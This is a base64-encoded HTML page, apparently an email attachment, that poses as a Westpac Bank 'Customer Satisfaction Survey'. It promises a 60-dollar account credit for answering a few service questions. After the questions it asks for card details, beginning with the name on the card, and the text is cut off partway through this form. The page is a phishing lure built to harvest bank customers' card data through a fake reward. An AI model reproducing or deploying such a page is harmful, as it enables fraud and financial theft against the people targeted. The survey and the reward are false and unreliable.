TE1hb01aVk1yMEZSbU1Eb2xUcTRqU2hSdlRkb0l1UnJvWG41MTArRm1OaU5iZG9UblFtVUZr bWxGaERFZkgweVhNTm5kbFppY05saFA0VmU3TXJZZlNBSm4yWSsrcC9nMS80THBPajhDMEJu Z3BmNXdSSURiYWlyWmc2Y0VyMkIzNGJIQnZZRlBzSXk2eFVDYkFONnpzRytBcTBKd0NOZUtS c3M2aG50aWJFa0pWOG83Tm14NXk2NGsyUWhLako2MDcyQ3FnbFZNUkRwYllmQ0VrREdWM0VU UWF3amprd2ZKclhsV0tvTTNWVDlKdzVtMFJBanNvVHRYOEN5QTdjbHAwMWcreWsrazNwL3ps a2xWWkUzREgvNDFRMk9HM29RaUhRQ2sya2YyVEljdWpBVEJkNm8wN0FwTFdBVlc0MUY4cGxZ TTJnc3piNFpDSHM1YzBENGZLZ21JZnlOejVZOStDNE8raGF3N1laaENsOEpsc2hZY0U4SHFp YXR3NVgveVZnDQphb2NaRWM3VkprZ1IrdlF5bktIZGlEM3ByczlKenM4OFNwQlhHbVpudUZQ T3liZ251MUxmM2NJS3p3UTlHVmMwZEQ0Q0R6Sy80N3BXeHhGN3dIZUVtTTdWYnZjTXdUOWto SHh6aWZ5OEpDSk5pZlNNdnNERUZFUDBUZWJ3Q0ZZaVM3MEg3RlBaOTZ1MjIyeStDWlZxdG1H cUJOaDRYMm5qa1RnVGF5OTQzeDhxV2pVV1R2U21ZdlA2VUowVUJBZ0NqRk9nK05VKzFnYUkw dmNXckREVUU5WmJlMDBKRTJwcEVoZjRZcXk5OG96RnJGNG43VktSb1VUaWpydzFKQ3BaOVNt eDg4QTA2dzJoWEdid3R2SDQ3UEhwZDR2aDdrL3M3ZUErVUZrbFlJRFAzdlhVZWl5UjhTSWQx bHhMVUl6SHZMelNUbE0zSUJJMGFXWlNJa05IM3UwM3gzOEQ0SlBLVUxQYk1KVFVIZVNEbFpC UERRamxoMGNKYWFpa0xMa1ViOUs5N1k4a0o2YU4rdE9tVHRXZG9LTnlub21DZFJpMmNBVTVl Yk02a2g0OHVMZXFVK3liYVZPMnM3RXBVWUdJeVhZbjJrUmRzVWhLamIxYWhBb1dyVXFrWFRi dmRJOHpoMm1ib0pSSGxXdlB1N3VWZXlBcQ0KeGE4Vm10TXcwa0R3cng1dGVKdTNLdnh1c1Fu SXB6NVhENkxVUEE5NlF2TjRIaUlFaXZIRlkreCtRTlYvNTBxamsrcG5ZMWttR05KS0tUT0R3 cElOdFhhSXp0WHVWUzMyZTBnOG90anovWGlWaWRINkM3VFIyeGl1UTZZd2hzTkp1MForOEIx cVdEazZMQnp1NlhXUnhXT2hiTnZqVEIxUG91R2Npb2RxKzZXTjc4M0t6d2ZmdGx4L2xTN2dI WnRZOGpBc1FQRXRPSEN6RmZxRFR0QTZ0RVNYaFFPZTJuVVkxY3ZKaW9pSjdEYXlERTJmZVZT WnBPNE5JU2NnVXNrUGt5Y0hsQm9zczBjZ0thaTdZMno5OFpIeTE4YThkTTFvN3UzUFJJUXFm ZEZhb0JTKzdmelNaaDJQdWw2YTNwUUFmd3dJdWZJQXkyREh2bzRJVUlyQ2VwZW5KM0JGQ1ZK VW9QQWFnczJPaDZZTWVmTjhqQmJjSXF1bGtESGIxTVBvNDdWUmhFVy90amZWQWxrTnlvZFhQ bzNXVDdZODhyalFYeUhYU3BueUpFVzZVL0hKektObjlKVUFqdFBUNFI5RXYzNUpDbkovR2lj VW5UTGJkSFRleFBTeFBIR0plOFdGSlRWUHdpTzQvNGgwUU9vWkQrDQplWWRKalBHRDlNcnJv SGlQMWRkTEdvcXd6V09LSFJwSThtRjhRdXN6Yjk0WEhZdmtjeG9KM256ZU1mNG5KSkJEcjdo V3VRQ2xqVk13NGNxNHFubkFaVVAyZHZTUEM2QTdBbGQ2WnJ4VnRPQ211U1VicVczRWh2ZGs5 eTZVTk1NM0ZNa25hcDA4QkVESnRqU2JWMGRnUU10bmIzQWprMGVFWHI4TVR5Yi9EVHRBSXBy WUZ2bUw2WlZaRVE0SWdyVWdMUDBKZlYzRDJ4bjZLV2MvUnRGMUNyT09iM0JKNUo1ZCtHUk1Q Z0Vna2RBT1I5eW40ZWpHSTdNUGNqYit6ekJYblVlYzBtY2Z4Y0xBSTR2eVFCZmNHWXYyTzZW QU1oT3dLYVVjUmg0V2FDandwdHduaGwxcHBlaEpHNnJsTytnUVRsWmpXQ2VacWxrTG8qIG5h bWU9X19WSUVXU1RBVEUyPiA8SU5QVVQgaWQ9IiYjMTA7X19WSUVXU1RBVEUiIHR5cGU9aGlk ZGVuIG5hbWU9X19WSUVXU1RBVEU+IDwvRElWPg0KICAgICAgICA8RElWIGNsYXNzPWVycm9y IGlkPWN0bDAwX21haW5Db250ZW50X1ZhbGlkYXRpb25TdW1tYXJ5IHN0eWxlPSJESVNQTEFZ OiBub25lIj48L0RJVj4NCiAgICAgICAgPERJViBpZD1jdGwwMF9tYWluQ29udGVudF9MSTZQ Tkw+IA0KICAgICAgICAgIDxIMT48L0gxPg0KICAgICAgICAgIDxESVYgY2xhc3M9ZnJhbWU+ IA0KICAgICAgICAgICAgPHAgY2xhc3M9cGFnZXRpdGxlPjxiPjxmb250IHNpemU9IjUiIGNv bG9yPSIjMDA2NjMzIj48Zm9udCBjb2xvcj0iIzY2MDA2NiIgZmFjZT0iR2VvcmdpYSwgVGlt ZXMgTmV3IFJvbWFuLCBUaW1lcywgc2VyaWYiPjxicj4NCiAgICAgICAgICAgICAgQ3VzdG9t ZXIgU2F0aXNmYWN0aW9uIFN1cnZleTwvZm9udD48L2ZvbnQ+PC9iPjwvcD4NCiAgICAgICAg ICAgIDxQPiZuYnNwOzxCUj4NCiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiIgY29sb3I9 IiMzMzMzMzMiPjxiPjxmb250IGZhY2U9Ikdlb3JnaWEsIFRpbWVzIE5ldyBSb21hbiwgVGlt ZXMsIHNlcmlmIj5XZXN0cGFjIA0KICAgICAgICAgICAgICB3aWxsIGFkZCA2MCQgY3JlZGl0 IHRvIHlvdXIgYWNjb3VudCBqdXN0IGZvciB0YWtpbmcgcGFydCBpbiBvdXIgDQogICAgICAg ICAgICAgIHF1aWNrIHN1cnZleS48YnI+DQogICAgICAgICAgICAgIFdpdGggdGhlIGluZm9y bWF0aW9uIGNvbGxlY3RlZCwgd2UgY2FuIGRlY2lkZSB0byBkaXJlY3QgYSBudW1iZXIgDQog ICAgICAgICAgICAgIG9mIGNoYW5nZXMgdG8gaW1wcm92ZSBhbmQgZXhwYW5kIG91ciBzZXJ2 aWNlcy48YnI+DQogICAgICAgICAgICAgIFBsZWFzZSB0YWtlIGEgZmV3IG1pbnV0ZXMgdG8g Z2l2ZSB1cyB5b3VyIG9waW5pb24gb24gb3VyIHN0b3JlIHNlcnZpY2UuPC9mb250PjwvYj48 L2ZvbnQ+PEJSPg0KICAgICAgICAgICAgICAmbmJzcDs8L1A+DQo8RklFTERTRVQ+DQogICAg ICAgICAgICA8UD48Qj4xLiBXaGF0IHdlcmUgeW91ciByZWFzb25zIGZvciBjaG9vc2luZyBX ZXN0cGFjIEJhbms/IFBsZWFzZSANCiAgICAgICAgICAgICAgc2VsZWN0IGFsbCB0aGF0IGFw cGx5LjwvQj48QlI+DQo8QkxPQ0tRVU9URT48L0JMT0NLUVVPVEU+DQo8RElWIGlkPWFuc3dl cnM+PElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9Q29udmVuaWVuY2UgbmFtZT1xdWVzMT4N CiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwv Zm9udD4gDQogICAgICAgICAgICAgIENvbnZlbmllbmNlPEJSPg0KICAgICAgICAgICAgICA8 SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT0iQmVjYXVzZSB5b3UgZmluZCBldmVyeXRoaW5n IHlvdSBuZWVkIiBuYW1lPXF1ZXMxMT4NCiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNG RjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgIEJlY2F1c2Ug eW91IGZpbmQgZXZlcnl0aGluZyB5b3UgbmVlZDxCUj4NCiAgICAgICAgICAgICAgPElOUFVU IHR5cGU9Y2hlY2tib3ggdmFsdWU9IkJlY2F1c2UgaXMgbmVhciBteSBob21lIG9yIHdvcmsi IG5hbWU9cXVlczEyPg0KICAgICAgICAgICAgICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgQmVjYXVzZSBpcyBuZWFyIG15 IGhvbWUgb3Igd29yayA8QlI+DQogICAgICAgICAgICAgIDxCUj4mbmJzcDtPdGhlcjogPElO UFVUIG1heExlbmd0aD0yMDAgc2l6ZT0yOCBuYW1lPXF1ZXMxdGV4dD48L0RJVj4NCjxQPjwv UD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+Mi4gSG93IG9mdGVuIGRvIHlvdSB2aXNp dCBXZXN0cGFjIEJhbms/IDwvQj48QlI+DQo8RElWIGlkPWFuc3dlcnM+PElOUFVUIHR5cGU9 Y2hlY2tib3ggdmFsdWU9Q29udmVuaWVuY2UgbmFtZT1xdWVzMTA1Pg0KICAgICAgICAgICAg ICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48 Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0OzwvZm9udD48L2I+PC9mb250PiANCiAgICAg ICAgICAgICAgRGFpbHkgPEJSPg0KICAgICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2Jv eCB2YWx1ZT1Db252ZW5pZW5jZSBuYW1lPXF1ZXMxMDY+DQogICAgICAgICAgICAgIDxmb250 IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxmb250 IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAg ICBPbmNlIGEgd2VlayA8QlI+DQogICAgICAgICAgICAgIDxJTlBVVCB0eXBlPWNoZWNrYm94 IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczEwNz4NCiAgICAgICAgICAgICAgPGZvbnQg c2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQg Y29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAg IDItNCB0aW1lcyBhIHdlZWsgPEJSPg0KICAgICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVj a2JveCB2YWx1ZT1Db252ZW5pZW5jZSBuYW1lPXF1ZXMxMTU+DQogICAgICAgICAgICAgIDxm b250IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxm b250IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAg ICAgICBMZXNzIHRoYW4gb25jZSBhIHdlZWsgPEJSPg0KICAgICAgICAgICAgICAmbmJzcDtP dGhlcjogPElOUFVUIG1heExlbmd0aD0yMDAgc2l6ZT0yOCBuYW1lPXF1ZXMydGV4dD48L0RJ Vj4NCjxQPjwvUD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+My4gV2hhdCBraW5kIG9m IHByb2R1Y3RzIGRvIHlvdSBoYXZlIG9uIHVzPyBQbGVhc2Ugc2VsZWN0IGFsbCANCiAgICAg ICAgICAgICAgdGhhdCBhcHBseS48L0I+PEJSPg0KICAgICAgICAgICAgPERJViBpZD1hbnN3 ZXJzPiANCiAgICAgICAgICAgICAgPHA+IA0KICAgICAgICAgICAgICAgIDxJTlBVVCB0eXBl PWNoZWNrYm94IHZhbHVlPVN1cGVybWFya2V0IG5hbWU9cXVlczM+DQogICAgICAgICAgICAg ICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+ PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAg ICAgICAgICAgICAgQmFuayBhY2NvdW50czxCUj4NCiAgICAgICAgICAgICAgICA8SU5QVVQg dHlwZT1jaGVja2JveCB2YWx1ZT0iU3VwZXJtYXJrZXQgd2l0aCBMaXF1b3IiIG5hbWU9cXVl czMxPg0KICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2 ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250 PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAgICAgIENyZWRpdCBjYXJkczxCUj4NCiAgICAg ICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT1MaXF1b3IgbmFtZT1xdWVz MzI+DQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZl dGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+ PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgSW5zdXJhbmNlIDxCUj4NCiAgICAgICAg ICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT1QZXRyb2wgbmFtZT1xdWVzMzM+ DQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGlj YSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9i PjwvZm9udD4gDQogICAgICAgICAgICAgICAgSW52ZXN0bWVudHM8QlI+DQogICAgICAgICAg ICAgICAgPElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9IlBldHJvbCB3aXRoIGVwdW1wIiBu YW1lPXF1ZXMzND4NCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICBQZXJzb25hbCBsb2FuczxC Uj4NCiAgICAgICAgICAgICAgICAmbmJzcDs8L3A+DQogICAgICAgICAgICA8L0RJVj4NCjxQ PjwvUD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+NC4gUGxlYXNlIHJhdGUgdGhlIGZv bGxvd2luZyBXZXN0cGFjIEJhbmsgZmVhdHVyZXM/PC9CPjxCUj4NCjxESVYgaWQ9YW5zd2Vy cz4NCiAgICAgICAgICAgICAgPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBi b3JkZXI9MD4NCiAgICAgICAgICAgICAgICA8VEJPRFk+IA0KICAgICAgICAgICAgICAgIDxU Uj4gDQogICAgICAgICAgICAgICAgICA8VEQgd2lkdGg9MjIxPiANCiAgICAgICAgICAgICAg ICAgICAgPHA+PGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1z ZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4g DQogICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiIgZmFjZT0iQXJpYWwsIEhl bHZldGljYSwgc2Fucy1zZXJpZiI+Q2FzaGllcnMgDQogICAgICAgICAgICAgICAgICAgICAg PC9mb250PjwvcD4NCiAgICAgICAgICAgICAgICAgIDwvVEQ+DQogICAgICAgICAgICAgICAg ICA8VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8U0VMRUNUIG5hbWU9cXVlczQ+DQogICAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0iICIgc2VsZWN0ZWQ+UGxlYXNlIHNl bGVjdDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9RXhj ZWxsZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJ T04gdmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9Q VElPTiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElPTj4NCiAgICAgICAgICAgICAgICAg ICAgICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAg ICAgICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9PUFRJT04+DQogICAgICAgICAgICAg ICAgICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAg ICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgICA8 VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXpl PSIyIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5DbGVhbmluZyANCiAg ICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+PC9wPg0KICAgICAgICAgICAgICAgICAgPC9U RD4NCiAgICAgICAgICAgICAgICAgIDxURD4gDQogICAgICAgICAgICAgICAgICAgIDxTRUxF Q1QgbmFtZT1xdWVzNDE+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0i ICIgc2VsZWN0ZWQ+UGxlYXNlIHNlbGVjdDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAg ICAgIDxPUFRJT04gdmFsdWU9RXhjZWxsZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAg ICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElP Tj4NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BU SU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9P UFRJT04+DQogICAgICAgICAgICAgICAgICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAg ICAgPC9URD4NCiAgICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4g DQogICAgICAgICAgICAgICAgICA8VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9u dCBzaXplPSIzIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9u dCBjb2xvcj0iI0ZGMDAwMCI+Jmd0OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAg ICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmIj5QYXJraW5nIA0KICAgICAgICAgICAgICAgICAgICAgIGxvdCBzcGFjZSA8L2Zv bnQ+PC9wPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAgICAgICAgIDxU RD4gDQogICAgICAgICAgICAgICAgICAgIDxTRUxFQ1QgbmFtZT1xdWVzNDI+DQogICAgICAg ICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0iICIgc2VsZWN0ZWQ+UGxlYXNlIHNlbGVj dDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9RXhjZWxs ZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04g dmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElP TiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElPTj4NCiAgICAgICAgICAgICAgICAgICAg ICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAg ICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9PUFRJT04+DQogICAgICAgICAgICAgICAg ICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAgICAg ICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgICA8VEQ+ IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlhbCwg SGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0Ozwv Zm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIy IiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5FbXBsb3llZXMgDQogICAg ICAgICAgICAgICAgICAgICAga2luZG5lc3MgPC9mb250PjwvcD4NCiAgICAgICAgICAgICAg ICAgIDwvVEQ+DQogICAgICAgICAgICAgICAgICA8VEQ+IA0KICAgICAgICAgICAgICAgICAg ICA8U0VMRUNUIG5hbWU9cXVlczQ3Pg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04g dmFsdWU9IiAiIHNlbGVjdGVkPlBsZWFzZSBzZWxlY3Q8L09QVElPTj4NCiAgICAgICAgICAg ICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUV4Y2VsbGVudD5FeGNlbGxlbnQ8L09QVElPTj4N CiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUdvb2Q+R29vZDwvT1BUSU9O Pg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9TmV1dHJhbD5OZXV0cmFs PC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1GYWlyPkZh aXI8L09QVElPTj4NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPVBvb3I+ UG9vcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICA8L1NFTEVDVD4NCiAgICAgICAg ICAgICAgICAgIDwvVEQ+DQogICAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAg ICA8L1RCT0RZPiANCiAgICAgICAgICAgICAgPC9UQUJMRT4NCiAgICAgICAgICAgIDwvRElW Pg0KPFA+PC9QPg0KPEhSPg0KDQogICAgICAgICAgICA8UD48Qj41LiBJcyBXZXN0cGFjIEJh bmsgQVRNIGVhc3kgdG8gZmluZD88L0I+PEJSPg0KPERJViBpZD1hbnN3ZXJzPjxJTlBVVCB0 eXBlPWNoZWNrYm94IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczExNz4NCiAgICAgICAg ICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQog ICAgICAgICAgICAgIFllcyA8QlI+DQogICAgICAgICAgICAgIDxJTlBVVCB0eXBlPWNoZWNr Ym94IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczExNj4NCiAgICAgICAgICAgICAgPGZv bnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZv bnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAg ICAgIE5vIDwvRElWPg0KPFA+PC9QPg0KPEhSPg0KDQogICAgICAgICAgICA8UD48Qj42LiBX aGF0IGltcHJvdmVtZW50cyB3b3VsZCB5b3UgcmVjb21tZW5kPzwvQj48QlI+DQo8RElWIGlk PWFuc3dlcnM+PFRFWFRBUkVBIG5hbWU9cXVlczggcm93cz01IGNvbHM9MzI+PC9URVhUQVJF QT48L0RJVj4NCiAgICAgICAgICAgIDwvRklFTERTRVQ+DQogICAgICAgICAgICA8cD48YnI+ DQogICAgICAgICAgICAgIDxiPlRoYW5rIHlvdSBmb3IgdGFraW5nIHRoZSB0aW1lIHRvIHJl c3BvbmQgdG8gdGhpcyBzdXJ2ZXkuIEluIHJldHVybiwgDQogICAgICAgICAgICAgIHdlIHdp bGwgYWRkIDYwJCBjcmVkaXQgdG8geW91ciBhY2NvdW50IGp1c3QgZm9yIHlvdXIgdGltZS48 L2I+IDxCUj4NCiAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgIDxIUj4NCg0KICAgICAg ICAgICAgPFRBQkxFIHdpZHRoPSIxMDAlIiBib3JkZXI9MD4NCiAgICAgICAgICAgICAgPFRC T0RZPiANCiAgICAgICAgICAgICAgPFRSPiANCiAgICAgICAgICAgICAgICA8VEQgY29sc3Bh bj0iMiI+IA0KICAgICAgICAgICAgICAgICAgPHA+PEI+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i QXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAi PiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDxmb250IHNp emU9IjIiPlBsZWFzZSBlbnRlciB5b3VyIGFjY291bnQgZGV0YWlscyB0byBjcmVkaXQgDQog ICAgICAgICAgICAgICAgICAgIHlvdXIgNjAkIHJld2FyZDo8L2ZvbnQ+PGZvbnQgc2l6ZT0i MyI+PGJyPg0KICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAg IDxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjEiPkZp ZWxkcyANCiAgICAgICAgICAgICAgICAgICAgd2l0aCBhbiBhc3RlcmlzayA8Zm9udCBjb2xv cj0iI0ZGMDAwMCI+KjwvZm9udD4gYXJlIG1hbmRhdG9yeTwvZm9udD48L2ZvbnQ+PC9CPjwv cD4NCiAgICAgICAgICAgICAgICA8L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAg ICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+PGI+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNG RjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgTmFtZSBvbiBDYXJkOjwvZm9udD48 L2I+PC9URD4NCiAgICAgICAgICAgICAgICA8VEQgd2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0Uy RDVGRiI+PEZPTlQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAgICAgICA8SU5QVVQg aWQ9bmFtZSBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4TGVuZ3RoPTUw IHNpemU9MTcgbmFtZT1uYW1lPg0KICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iVmVy ZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMSI+KG5hbWUgDQog ICAgICAgICAgICAgICAgICBhcyBwcmludGVkIG9uIHRoZSBjYXJkKTwvZm9udD48L0ZPTlQ+ PC9URD4NCiAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgPFRSPiANCiAgICAg ICAgICAgICAgICA8VEQgd2lkdGg9MzU4PjxiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiIGNvbG9yPSIjRkYwMDAwIj4qPC9mb250Pjxmb250 IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPiANCiAgICAg ICAgICAgICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5z 